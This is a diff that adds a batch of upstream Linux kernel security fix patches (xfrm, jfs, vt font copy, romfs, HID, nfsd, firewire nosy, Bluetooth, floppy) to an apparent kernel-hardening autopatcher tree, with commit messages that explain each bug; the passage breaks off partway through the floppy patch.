b/net/nfc/llcp_sock.c +index 59172614b249c..a3b46f8888033 100644 +--- a/net/nfc/llcp_sock.c ++++ b/net/nfc/llcp_sock.c +@@ -673,6 +673,10 @@ static int llcp_sock_connect(struct socket *sock, struct sockaddr *_addr, + ret = -EISCONN; + goto error; + } ++ if (sk->sk_state == LLCP_CONNECTING) { ++ ret = -EINPROGRESS; ++ goto error; ++ } + + dev = nfc_get_device(addr->dev_idx); + if (dev == NULL) { +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0617-4c59406ed003-xfrm policy Fix doulbe free in xfrmpolicytimer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0617-4c59406ed003-xfrm policy Fix doulbe free in xfrmpolicytimer.patch new file mode 100644 index 0000000..d4f3e2d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0617-4c59406ed003-xfrm policy Fix doulbe free in xfrmpolicytimer.patch @@ -0,0 +1,72 @@ +From 4c59406ed00379c8663f8663d82b2537467ce9d7 Mon Sep 17 00:00:00 2001 +From: YueHaibing +Date: Mon, 23 Mar 2020 15:32:39 +0800 +Subject: xfrm: policy: Fix doulbe free in xfrm_policy_timer +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +After xfrm_add_policy add a policy, its ref is 2, then + + xfrm_policy_timer + read_lock + xp->walk.dead is 0 + .... + mod_timer() +xfrm_policy_kill + policy->walk.dead = 1 + .... + del_timer(&policy->timer) + xfrm_pol_put //ref is 1 + xfrm_pol_put //ref is 0 + xfrm_policy_destroy + call_rcu + xfrm_pol_hold //ref is 1 + read_unlock + xfrm_pol_put //ref is 0 + xfrm_policy_destroy + call_rcu + +xfrm_policy_destroy is called twice, which may leads to +double free. + +Call Trace: +RIP: 0010:refcount_warn_saturate+0x161/0x210 +... + xfrm_policy_timer+0x522/0x600 + call_timer_fn+0x1b3/0x5e0 + ? __xfrm_decode_session+0x2990/0x2990 + ? msleep+0xb0/0xb0 + ? _raw_spin_unlock_irq+0x24/0x40 + ? __xfrm_decode_session+0x2990/0x2990 + ? __xfrm_decode_session+0x2990/0x2990 + run_timer_softirq+0x5c5/0x10e0 + +Fix this by use write_lock_bh in xfrm_policy_kill. + +Fixes: ea2dea9dacc2 ("xfrm: remove policy lock when accessing policy->walk.dead") +Signed-off-by: YueHaibing +Acked-by: Timo Teräs +Acked-by: Herbert Xu +Signed-off-by: Steffen Klassert +--- + net/xfrm/xfrm_policy.c | 2 ++ + 1 file changed, 2 insertions(+) + +diff --git a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c +index 297d1eb79e5ce..96a8c452b63e7 100644 +--- a/net/xfrm/xfrm_policy.c ++++ b/net/xfrm/xfrm_policy.c +@@ -434,7 +434,9 @@ EXPORT_SYMBOL(xfrm_policy_destroy); + + static void xfrm_policy_kill(struct xfrm_policy *policy) + { ++ write_lock_bh(&policy->lock); + policy->walk.dead = 1; ++ write_unlock_bh(&policy->lock); + + atomic_inc(&policy->genid); + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0618-c61b3e483900-jfs Fix array index bounds check in dbAdjTree.patch b/recipes-kernel/linux/linux-bass/autopatcher/0618-c61b3e483900-jfs Fix array index bounds check in dbAdjTree.patch new file mode 100644 index 0000000..fe66ba9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0618-c61b3e483900-jfs Fix array index bounds check in dbAdjTree.patch @@ -0,0 +1,32 @@ +From c61b3e4839007668360ed8b87d7da96d2e59fc6c Mon Sep 17 00:00:00 2001 +From: Dave Kleikamp +Date: Fri, 13 Nov 2020 14:58:46 -0600 +Subject: jfs: Fix array index bounds check in dbAdjTree + +Bounds checking tools can flag a bug in dbAdjTree() for an array index +out of bounds in dmt_stree. Since dmt_stree can refer to the stree in +both structures dmaptree and dmapctl, use the larger array to eliminate +the false positive. + +Signed-off-by: Dave Kleikamp +Reported-by: butt3rflyh4ck +--- + fs/jfs/jfs_dmap.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/fs/jfs/jfs_dmap.h b/fs/jfs/jfs_dmap.h +index 29891fad3f095..aa03a904d5ab2 100644 +--- a/fs/jfs/jfs_dmap.h ++++ b/fs/jfs/jfs_dmap.h +@@ -183,7 +183,7 @@ typedef union dmtree { + #define dmt_leafidx t1.leafidx + #define dmt_height t1.height + #define dmt_budmin t1.budmin +-#define dmt_stree t1.stree ++#define dmt_stree t2.stree + + /* + * on-disk aggregate disk allocation map descriptor. +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0619-3c4e0dff2095-vt Disable KDFONTOPCOPY.patch b/recipes-kernel/linux/linux-bass/autopatcher/0619-3c4e0dff2095-vt Disable KDFONTOPCOPY.patch new file mode 100644 index 0000000..b1af905 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0619-3c4e0dff2095-vt Disable KDFONTOPCOPY.patch @@ -0,0 +1,117 @@ +From 3c4e0dff2095c579b142d5a0693257f1c58b4804 Mon Sep 17 00:00:00 2001 +From: Daniel Vetter +Date: Sun, 8 Nov 2020 16:38:06 +0100 +Subject: vt: Disable KD_FONT_OP_COPY + +It's buggy: + +On Fri, Nov 06, 2020 at 10:30:08PM +0800, Minh Yuan wrote: +> We recently discovered a slab-out-of-bounds read in fbcon in the latest +> kernel ( v5.10-rc2 for now ). The root cause of this vulnerability is that +> "fbcon_do_set_font" did not handle "vc->vc_font.data" and +> "vc->vc_font.height" correctly, and the patch +> for VT_RESIZEX can't handle this +> issue. +> +> Specifically, we use KD_FONT_OP_SET to set a small font.data for tty6, and +> use KD_FONT_OP_SET again to set a large font.height for tty1. After that, +> we use KD_FONT_OP_COPY to assign tty6's vc_font.data to tty1's vc_font.data +> in "fbcon_do_set_font", while tty1 retains the original larger +> height. Obviously, this will cause an out-of-bounds read, because we can +> access a smaller vc_font.data with a larger vc_font.height. + +Further there was only one user ever. +- Android's loadfont, busybox and console-tools only ever use OP_GET + and OP_SET +- fbset documentation only mentions the kernel cmdline font: option, + not anything else. +- systemd used OP_COPY before release 232 published in Nov 2016 + +Now unfortunately the crucial report seems to have gone down with +gmane, and the commit message doesn't say much. But the pull request +hints at OP_COPY being broken + +https://github.com/systemd/systemd/pull/3651 + +So in other words, this never worked, and the only project which +foolishly every tried to use it, realized that rather quickly too. + +Instead of trying to fix security issues here on dead code by adding +missing checks, fix the entire thing by removing the functionality. + +Note that systemd code using the OP_COPY function ignored the return +value, so it doesn't matter what we're doing here really - just in +case a lone server somewhere happens to be extremely unlucky and +running an affected old version of systemd. The relevant code from +font_copy_to_all_vcs() in systemd was: + + /* copy font from active VT, where the font was uploaded to */ + cfo.op = KD_FONT_OP_COPY; + cfo.height = vcs.v_active-1; /* tty1 == index 0 */ + (void) ioctl(vcfd, KDFONTOP, &cfo); + +Note this just disables the ioctl, garbage collecting the now unused +callbacks is left for -next. + +v2: Tetsuo found the old mail, which allowed me to find it on another +archive. Add the link too. + +Acked-by: Peilin Ye +Reported-by: Minh Yuan +References: https://lists.freedesktop.org/archives/systemd-devel/2016-June/036935.html +References: https://github.com/systemd/systemd/pull/3651 +Cc: Greg KH +Cc: Peilin Ye +Cc: Tetsuo Handa +Signed-off-by: Daniel Vetter +Link: https://lore.kernel.org/r/20201108153806.3140315-1-daniel.vetter@ffwll.ch +Signed-off-by: Greg Kroah-Hartman +--- + drivers/tty/vt/vt.c | 24 ++---------------------- + 1 file changed, 2 insertions(+), 22 deletions(-) + +diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c +index 9506a76f3ab67..d04a162939a4d 100644 +--- a/drivers/tty/vt/vt.c ++++ b/drivers/tty/vt/vt.c +@@ -4704,27 +4704,6 @@ static int con_font_default(struct vc_data *vc, struct console_font_op *op) + return rc; + } + +-static int con_font_copy(struct vc_data *vc, struct console_font_op *op) +-{ +- int con = op->height; +- int rc; +- +- +- console_lock(); +- if (vc->vc_mode != KD_TEXT) +- rc = -EINVAL; +- else if (!vc->vc_sw->con_font_copy) +- rc = -ENOSYS; +- else if (con < 0 || !vc_cons_allocated(con)) +- rc = -ENOTTY; +- else if (con == vc->vc_num) /* nothing to do */ +- rc = 0; +- else +- rc = vc->vc_sw->con_font_copy(vc, con); +- console_unlock(); +- return rc; +-} +- + int con_font_op(struct vc_data *vc, struct console_font_op *op) + { + switch (op->op) { +@@ -4735,7 +4714,8 @@ int con_font_op(struct vc_data *vc, struct console_font_op *op) + case KD_FONT_OP_SET_DEFAULT: + return con_font_default(vc, op); + case KD_FONT_OP_COPY: +- return con_font_copy(vc, op); ++ /* was buggy and never really used */ ++ return -EINVAL; + } + return -ENOSYS; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0620-bcf85fcedfdd-romfs fix uninitialized memory leak in romfsdevread.patch b/recipes-kernel/linux/linux-bass/autopatcher/0620-bcf85fcedfdd-romfs fix uninitialized memory leak in romfsdevread.patch new file mode 100644 index 0000000..3fa06ee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0620-bcf85fcedfdd-romfs fix uninitialized memory leak in romfsdevread.patch @@ -0,0 +1,54 @@ +From bcf85fcedfdd17911982a3e3564fcfec7b01eebd Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Thu, 20 Aug 2020 17:42:11 -0700 +Subject: romfs: fix uninitialized memory leak in romfs_dev_read() + +romfs has a superblock field that limits the size of the filesystem; data +beyond that limit is never accessed. + +romfs_dev_read() fetches a caller-supplied number of bytes from the +backing device. It returns 0 on success or an error code on failure; +therefore, its API can't represent short reads, it's all-or-nothing. + +However, when romfs_dev_read() detects that the requested operation would +cross the filesystem size limit, it currently silently truncates the +requested number of bytes. This e.g. means that when the content of a +file with size 0x1000 starts one byte before the filesystem size limit, +->readpage() will only fill a single byte of the supplied page while +leaving the rest uninitialized, leaking that uninitialized memory to +userspace. + +Fix it by returning an error code instead of truncating the read when the +requested read operation would go beyond the end of the filesystem. + +Fixes: da4458bda237 ("NOMMU: Make it possible for RomFS to use MTD devices directly") +Signed-off-by: Jann Horn +Signed-off-by: Andrew Morton +Reviewed-by: Greg Kroah-Hartman +Cc: David Howells +Cc: +Link: http://lkml.kernel.org/r/20200818013202.2246365-1-jannh@google.com +Signed-off-by: Linus Torvalds +--- + fs/romfs/storage.c | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/fs/romfs/storage.c b/fs/romfs/storage.c +index 6b2b4362089e6..b57b3ffcbc327 100644 +--- a/fs/romfs/storage.c ++++ b/fs/romfs/storage.c +@@ -217,10 +217,8 @@ int romfs_dev_read(struct super_block *sb, unsigned long pos, + size_t limit; + + limit = romfs_maxsize(sb); +- if (pos >= limit) ++ if (pos >= limit || buflen > limit - pos) + return -EIO; +- if (buflen > limit - pos) +- buflen = limit - pos; + + #ifdef CONFIG_ROMFS_ON_MTD + if (sb->s_mtd) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0621-ed9be64eefe2-HID make arrays usage and value to be the same.patch b/recipes-kernel/linux/linux-bass/autopatcher/0621-ed9be64eefe2-HID make arrays usage and value to be the same.patch new file mode 100644 index 0000000..5c29b9d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0621-ed9be64eefe2-HID make arrays usage and value to be the same.patch @@ -0,0 +1,57 @@ +From ed9be64eefe26d7d8b0b5b9fa3ffdf425d87a01f Mon Sep 17 00:00:00 2001 +From: Will McVicker +Date: Sat, 5 Dec 2020 00:48:48 +0000 +Subject: HID: make arrays usage and value to be the same + +The HID subsystem allows an "HID report field" to have a different +number of "values" and "usages" when it is allocated. When a field +struct is created, the size of the usage array is guaranteed to be at +least as large as the values array, but it may be larger. This leads to +a potential out-of-bounds write in +__hidinput_change_resolution_multipliers() and an out-of-bounds read in +hidinput_count_leds(). + +To fix this, let's make sure that both the usage and value arrays are +the same size. + +Cc: stable@vger.kernel.org +Signed-off-by: Will McVicker +Signed-off-by: Jiri Kosina +--- + drivers/hid/hid-core.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/hid/hid-core.c b/drivers/hid/hid-core.c +index 4d0faf77c14bf..097cb1ee31268 100644 +--- a/drivers/hid/hid-core.c ++++ b/drivers/hid/hid-core.c +@@ -90,7 +90,7 @@ EXPORT_SYMBOL_GPL(hid_register_report); + * Register a new field for this report. + */ + +-static struct hid_field *hid_register_field(struct hid_report *report, unsigned usages, unsigned values) ++static struct hid_field *hid_register_field(struct hid_report *report, unsigned usages) + { + struct hid_field *field; + +@@ -101,7 +101,7 @@ static struct hid_field *hid_register_field(struct hid_report *report, unsigned + + field = kzalloc((sizeof(struct hid_field) + + usages * sizeof(struct hid_usage) + +- values * sizeof(unsigned)), GFP_KERNEL); ++ usages * sizeof(unsigned)), GFP_KERNEL); + if (!field) + return NULL; + +@@ -300,7 +300,7 @@ static int hid_add_field(struct hid_parser *parser, unsigned report_type, unsign + usages = max_t(unsigned, parser->local.usage_index, + parser->global.report_count); + +- field = hid_register_field(report, usages, parser->global.report_count); ++ field = hid_register_field(report, usages); + if (!field) + return 0; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0622-51b2ee7d006a-nfsd4 readdirplus shouldnt return parent of export.patch b/recipes-kernel/linux/linux-bass/autopatcher/0622-51b2ee7d006a-nfsd4 readdirplus shouldnt return parent of export.patch new file mode 100644 index 0000000..6be7b20 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0622-51b2ee7d006a-nfsd4 readdirplus shouldnt return parent of export.patch @@ -0,0 +1,51 @@ +From 51b2ee7d006a736a9126e8111d1f24e4fd0afaa6 Mon Sep 17 00:00:00 2001 +From: "J. Bruce Fields" +Date: Mon, 11 Jan 2021 16:01:29 -0500 +Subject: nfsd4: readdirplus shouldn't return parent of export + +If you export a subdirectory of a filesystem, a READDIRPLUS on the root +of that export will return the filehandle of the parent with the ".." +entry. + +The filehandle is optional, so let's just not return the filehandle for +".." if we're at the root of an export. + +Note that once the client learns one filehandle outside of the export, +they can trivially access the rest of the export using further lookups. + +However, it is also not very difficult to guess filehandles outside of +the export. So exporting a subdirectory of a filesystem should +considered equivalent to providing access to the entire filesystem. To +avoid confusion, we recommend only exporting entire filesystems. + +Reported-by: Youjipeng +Signed-off-by: J. Bruce Fields +Cc: stable@vger.kernel.org +Signed-off-by: Chuck Lever +--- + fs/nfsd/nfs3xdr.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/fs/nfsd/nfs3xdr.c b/fs/nfsd/nfs3xdr.c +index 821db21ba072c..34b880211e5ea 100644 +--- a/fs/nfsd/nfs3xdr.c ++++ b/fs/nfsd/nfs3xdr.c +@@ -865,9 +865,14 @@ compose_entry_fh(struct nfsd3_readdirres *cd, struct svc_fh *fhp, + if (isdotent(name, namlen)) { + if (namlen == 2) { + dchild = dget_parent(dparent); +- /* filesystem root - cannot return filehandle for ".." */ ++ /* ++ * Don't return filehandle for ".." if we're at ++ * the filesystem or export root: ++ */ + if (dchild == dparent) + goto out; ++ if (dparent == exp->ex_path.dentry) ++ goto out; + } else + dchild = dget(dparent); + } else +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0623-829933ef05a9-firewire nosy Fix a useafterfree bug in nosyioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0623-829933ef05a9-firewire nosy Fix a useafterfree bug in nosyioctl.patch new file mode 100644 index 0000000..6099512 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0623-829933ef05a9-firewire nosy Fix a useafterfree bug in nosyioctl.patch @@ -0,0 +1,114 @@ +From 829933ef05a951c8ff140e814656d73e74915faf Mon Sep 17 00:00:00 2001 +From: Zheyu Ma +Date: Sat, 3 Apr 2021 06:58:36 +0000 +Subject: firewire: nosy: Fix a use-after-free bug in nosy_ioctl() +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +For each device, the nosy driver allocates a pcilynx structure. +A use-after-free might happen in the following scenario: + + 1. Open nosy device for the first time and call ioctl with command + NOSY_IOC_START, then a new client A will be malloced and added to + doubly linked list. + 2. Open nosy device for the second time and call ioctl with command + NOSY_IOC_START, then a new client B will be malloced and added to + doubly linked list. + 3. Call ioctl with command NOSY_IOC_START for client A, then client A + will be readded to the doubly linked list. Now the doubly linked + list is messed up. + 4. Close the first nosy device and nosy_release will be called. In + nosy_release, client A will be unlinked and freed. + 5. Close the second nosy device, and client A will be referenced, + resulting in UAF. + +The root cause of this bug is that the element in the doubly linked list +is reentered into the list. + +Fix this bug by adding a check before inserting a client. If a client +is already in the linked list, don't insert it. + +The following KASAN report reveals it: + + BUG: KASAN: use-after-free in nosy_release+0x1ea/0x210 + Write of size 8 at addr ffff888102ad7360 by task poc + CPU: 3 PID: 337 Comm: poc Not tainted 5.12.0-rc5+ #6 + Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org 04/01/2014 + Call Trace: + nosy_release+0x1ea/0x210 + __fput+0x1e2/0x840 + task_work_run+0xe8/0x180 + exit_to_user_mode_prepare+0x114/0x120 + syscall_exit_to_user_mode+0x1d/0x40 + entry_SYSCALL_64_after_hwframe+0x44/0xae + + Allocated by task 337: + nosy_open+0x154/0x4d0 + misc_open+0x2ec/0x410 + chrdev_open+0x20d/0x5a0 + do_dentry_open+0x40f/0xe80 + path_openat+0x1cf9/0x37b0 + do_filp_open+0x16d/0x390 + do_sys_openat2+0x11d/0x360 + __x64_sys_open+0xfd/0x1a0 + do_syscall_64+0x33/0x40 + entry_SYSCALL_64_after_hwframe+0x44/0xae + + Freed by task 337: + kfree+0x8f/0x210 + nosy_release+0x158/0x210 + __fput+0x1e2/0x840 + task_work_run+0xe8/0x180 + exit_to_user_mode_prepare+0x114/0x120 + syscall_exit_to_user_mode+0x1d/0x40 + entry_SYSCALL_64_after_hwframe+0x44/0xae + + The buggy address belongs to the object at ffff888102ad7300 which belongs to the cache kmalloc-128 of size 128 + The buggy address is located 96 bytes inside of 128-byte region [ffff888102ad7300, ffff888102ad7380) + +[ Modified to use 'list_empty()' inside proper lock - Linus ] + +Link: https://lore.kernel.org/lkml/1617433116-5930-1-git-send-email-zheyuma97@gmail.com/ +Reported-and-tested-by: 马哲宇 (Zheyu Ma) +Signed-off-by: Zheyu Ma +Cc: Greg Kroah-Hartman +Cc: Stefan Richter +Signed-off-by: Linus Torvalds +--- + drivers/firewire/nosy.c | 9 +++++++-- + 1 file changed, 7 insertions(+), 2 deletions(-) + +diff --git a/drivers/firewire/nosy.c b/drivers/firewire/nosy.c +index 5fd6a60b67410..88ed971e32c0d 100644 +--- a/drivers/firewire/nosy.c ++++ b/drivers/firewire/nosy.c +@@ -346,6 +346,7 @@ nosy_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + struct client *client = file->private_data; + spinlock_t *client_list_lock = &client->lynx->client_list_lock; + struct nosy_stats stats; ++ int ret; + + switch (cmd) { + case NOSY_IOC_GET_STATS: +@@ -360,11 +361,15 @@ nosy_ioctl(struct file *file, unsigned int cmd, unsigned long arg) + return 0; + + case NOSY_IOC_START: ++ ret = -EBUSY; + spin_lock_irq(client_list_lock); +- list_add_tail(&client->link, &client->lynx->client_list); ++ if (list_empty(&client->link)) { ++ list_add_tail(&client->link, &client->lynx->client_list); ++ ret = 0; ++ } + spin_unlock_irq(client_list_lock); + +- return 0; ++ return ret; + + case NOSY_IOC_STOP: + spin_lock_irq(client_list_lock); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0624-6a137caec23a-Bluetooth fix the erroneous flushwork order.patch b/recipes-kernel/linux/linux-bass/autopatcher/0624-6a137caec23a-Bluetooth fix the erroneous flushwork order.patch new file mode 100644 index 0000000..3c36d2a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0624-6a137caec23a-Bluetooth fix the erroneous flushwork order.patch @@ -0,0 +1,54 @@ +From 6a137caec23aeb9e036cdfd8a46dd8a366460e5d Mon Sep 17 00:00:00 2001 +From: Lin Ma +Date: Tue, 25 May 2021 14:39:02 +0200 +Subject: Bluetooth: fix the erroneous flush_work() order + +In the cleanup routine for failed initialization of HCI device, +the flush_work(&hdev->rx_work) need to be finished before the +flush_work(&hdev->cmd_work). Otherwise, the hci_rx_work() can +possibly invoke new cmd_work and cause a bug, like double free, +in late processings. + +This was assigned CVE-2021-3564. + +This patch reorder the flush_work() to fix this bug. + +Cc: Marcel Holtmann +Cc: Johan Hedberg +Cc: Luiz Augusto von Dentz +Cc: "David S. Miller" +Cc: Jakub Kicinski +Cc: linux-bluetooth@vger.kernel.org +Cc: netdev@vger.kernel.org +Cc: linux-kernel@vger.kernel.org +Signed-off-by: Lin Ma +Signed-off-by: Hao Xiong +Cc: stable +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Marcel Holtmann +--- + net/bluetooth/hci_core.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/net/bluetooth/hci_core.c b/net/bluetooth/hci_core.c +index fd12f1652bdf4..7d71d104fdfda 100644 +--- a/net/bluetooth/hci_core.c ++++ b/net/bluetooth/hci_core.c +@@ -1610,8 +1610,13 @@ setup_failed: + } else { + /* Init failed, cleanup */ + flush_work(&hdev->tx_work); +- flush_work(&hdev->cmd_work); ++ ++ /* Since hci_rx_work() is possible to awake new cmd_work ++ * it should be flushed first to avoid unexpected call of ++ * hci_cmd_work() ++ */ + flush_work(&hdev->rx_work); ++ flush_work(&hdev->cmd_work); + + skb_queue_purge(&hdev->cmd_q); + skb_queue_purge(&hdev->rx_q); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0625-e305509e678b-Bluetooth use correct lock to prevent UAF of hdev object.patch b/recipes-kernel/linux/linux-bass/autopatcher/0625-e305509e678b-Bluetooth use correct lock to prevent UAF of hdev object.patch new file mode 100644 index 0000000..6aab7a5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0625-e305509e678b-Bluetooth use correct lock to prevent UAF of hdev object.patch @@ -0,0 +1,43 @@ +From e305509e678b3a4af2b3cfd410f409f7cdaabb52 Mon Sep 17 00:00:00 2001 +From: Lin Ma +Date: Sun, 30 May 2021 21:37:43 +0800 +Subject: Bluetooth: use correct lock to prevent UAF of hdev object + +The hci_sock_dev_event() function will cleanup the hdev object for +sockets even if this object may still be in used within the +hci_sock_bound_ioctl() function, result in UAF vulnerability. + +This patch replace the BH context lock to serialize these affairs +and prevent the race condition. + +Signed-off-by: Lin Ma +Signed-off-by: Marcel Holtmann +--- + net/bluetooth/hci_sock.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/net/bluetooth/hci_sock.c b/net/bluetooth/hci_sock.c +index 251b9128f530a..eed0dd066e12c 100644 +--- a/net/bluetooth/hci_sock.c ++++ b/net/bluetooth/hci_sock.c +@@ -762,7 +762,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event) + /* Detach sockets from device */ + read_lock(&hci_sk_list.lock); + sk_for_each(sk, &hci_sk_list.head) { +- bh_lock_sock_nested(sk); ++ lock_sock(sk); + if (hci_pi(sk)->hdev == hdev) { + hci_pi(sk)->hdev = NULL; + sk->sk_err = EPIPE; +@@ -771,7 +771,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event) + + hci_dev_put(hdev); + } +- bh_unlock_sock(sk); ++ release_sock(sk); + } + read_unlock(&hci_sk_list.lock); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0626-a0c80efe5956-floppy fix lockfdc signal handling.patch b/recipes-kernel/linux/linux-bass/autopatcher/0626-a0c80efe5956-floppy fix lockfdc signal handling.patch new file mode 100644 index 0000000..634e729 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0626-a0c80efe5956-floppy fix lockfdc signal handling.patch @@ -0,0 +1,176 @@ +From a0c80efe5956ccce9fe7ae5c78542578c07bc20a Mon Sep 17 00:00:00 2001 +From: Jiri Kosina +Date: Mon, 1 Feb 2016 11:19:17 +0100 +Subject: floppy: fix lock_fdc() signal handling + +floppy_revalidate() doesn't perform any error handling on lock_fdc() +result. lock_fdc() might actually be interrupted by a signal (it waits for +fdc becoming non-busy interruptibly). In such case, floppy_revalidate() +proceeds as if it had claimed the lock, but it fact it doesn't. + +In case of multiple threads trying to open("/dev/fdX"), this leads to +serious corruptions all over the place, because all of a sudden there is +no critical section protection (that'd otherwise be guaranteed by locked +fd) whatsoever. + +While at this, fix the fact that the 'interruptible' parameter to +lock_fdc() doesn't make any sense whatsoever, because we always wait +interruptibly anyway. + +Most of the lock_fdc() callsites do properly handle error (and propagate +EINTR), but floppy_revalidate() and floppy_check_events() don't. Fix this. + +Spotted by 'syzkaller' tool. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: Jiri Kosina +--- + drivers/block/floppy.c | 33 ++++++++++++++++++--------------- + 1 file changed, 18 insertions(+), 15 deletions(-) + +diff --git a/drivers/block/floppy.c b/drivers/block/floppy.c +index fa9bb742df6e0..c1aacca88c8f6 100644 +--- a/drivers/block/floppy.c ++++ b/drivers/block/floppy.c +@@ -866,7 +866,7 @@ static void set_fdc(int drive) + } + + /* locks the driver */ +-static int lock_fdc(int drive, bool interruptible) ++static int lock_fdc(int drive) + { + if (WARN(atomic_read(&usage_count) == 0, + "Trying to lock fdc while usage count=0\n")) +@@ -2173,7 +2173,7 @@ static int do_format(int drive, struct format_descr *tmp_format_req) + { + int ret; + +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + + set_floppy(drive); +@@ -2960,7 +2960,7 @@ static int user_reset_fdc(int drive, int arg, bool interruptible) + { + int ret; + +- if (lock_fdc(drive, interruptible)) ++ if (lock_fdc(drive)) + return -EINTR; + + if (arg == FD_RESET_ALWAYS) +@@ -3243,7 +3243,7 @@ static int set_geometry(unsigned int cmd, struct floppy_struct *g, + if (!capable(CAP_SYS_ADMIN)) + return -EPERM; + mutex_lock(&open_lock); +- if (lock_fdc(drive, true)) { ++ if (lock_fdc(drive)) { + mutex_unlock(&open_lock); + return -EINTR; + } +@@ -3263,7 +3263,7 @@ static int set_geometry(unsigned int cmd, struct floppy_struct *g, + } else { + int oldStretch; + +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + if (cmd != FDDEFPRM) { + /* notice a disk change immediately, else +@@ -3349,7 +3349,7 @@ static int get_floppy_geometry(int drive, int type, struct floppy_struct **g) + if (type) + *g = &floppy_type[type]; + else { +- if (lock_fdc(drive, false)) ++ if (lock_fdc(drive)) + return -EINTR; + if (poll_drive(false, 0) == -EINTR) + return -EINTR; +@@ -3433,7 +3433,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + if (UDRS->fd_ref != 1) + /* somebody else has this drive open */ + return -EBUSY; +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + + /* do the actual eject. Fails on +@@ -3445,7 +3445,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + process_fd_request(); + return ret; + case FDCLRPRM: +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + current_type[drive] = NULL; + floppy_sizes[drive] = MAX_DISK_SIZE << 1; +@@ -3467,7 +3467,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + UDP->flags &= ~FTD_MSG; + return 0; + case FDFMTBEG: +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + if (poll_drive(true, FD_RAW_NEED_DISK) == -EINTR) + return -EINTR; +@@ -3484,7 +3484,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + return do_format(drive, &inparam.f); + case FDFMTEND: + case FDFLUSH: +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + return invalidate_drive(bdev); + case FDSETEMSGTRESH: +@@ -3507,7 +3507,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + outparam = UDP; + break; + case FDPOLLDRVSTAT: +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + if (poll_drive(true, FD_RAW_NEED_DISK) == -EINTR) + return -EINTR; +@@ -3530,7 +3530,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + case FDRAWCMD: + if (type) + return -EINVAL; +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + set_floppy(drive); + i = raw_cmd_ioctl(cmd, (void __user *)param); +@@ -3539,7 +3539,7 @@ static int fd_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int + process_fd_request(); + return i; + case FDTWADDLE: +- if (lock_fdc(drive, true)) ++ if (lock_fdc(drive)) + return -EINTR; + twaddle(); + process_fd_request(); +@@ -3747,7 +3747,8 @@ static unsigned int floppy_check_events(struct gendisk *disk, + return DISK_EVENT_MEDIA_CHANGE; + + if (time_after(jiffies, UDRS->last_checked + UDP->checkfreq)) { +- lock_fdc(drive, false); ++ if (lock_fdc(drive)) ++ return -EINTR; + poll_drive(false, 0); + process_fd_request(); + } +@@ -3845,7 +3846,9 @@ static int floppy_revalidate(struct gendisk *disk) + "VFS: 